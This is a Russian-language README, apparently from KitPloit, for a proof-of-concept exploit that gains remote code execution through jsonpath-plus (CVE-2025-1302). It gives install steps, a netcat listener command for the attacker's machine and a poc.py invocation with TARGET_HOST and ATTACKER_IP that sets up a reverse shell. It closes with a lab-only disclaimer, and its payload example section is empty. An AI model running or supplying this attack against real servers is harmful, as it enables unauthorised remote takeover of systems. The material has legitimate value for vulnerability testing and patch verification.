CVE-2025-1302_jsonpath-plus_RCE

Установка

1. Клонируйте этот репозиторий:

   root@kitploit:~

   git clone https://github.com/yourorg/jsonpath-rce-poc.git
   cd jsonpath-rce-poc
   

2. Установите зависимости (требуется Python 3.6+):

   root@kitploit:~

   pip install -r requirements.txt
   

Использование

1. Запустите слушатель на вашей атакующей машине (замените порт при необходимости):

   root@kitploit:~

   nc -lvnp 9999
   

2. Запустите PoC:

   root@kitploit:~

   python3 poc.py \
     --url http://TARGET_HOST:PORT/query \
     --ip ATTACKER_IP --port 9999 \
     [--payload-file payloads.txt] \
     [--delay 5] \
     [--method AUTO|POST|GET] \
     [--no-fallback] \
     [--output results.json]
   

• --payload-file: Файл, содержащий одну полезную нагрузку JSONPath на строку. Используйте плейсхолдеры {ip} и {port}.
• --delay: Секунды ожидания перед отправкой полезных нагрузок (показывает обратный отсчет).
• --method: Принудительный выбор POST, GET или AUTO (по умолчанию).
• --no-fallback: Сокращение для пропуска любых повторных попыток GET (эквивалентно --method POST).
• --output: Путь для сохранения JSON-лога попыток.

Пример файла полезной нагрузки

Вклад

1. Форкните репозиторий и создайте ветку для функции.
2. Отправьте pull request с вашими изменениями.

Отказ от ответственности

Используйте этот скрипт только в контролируемых лабораторных средах против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Злоупотребление может быть незаконным и неэтичным.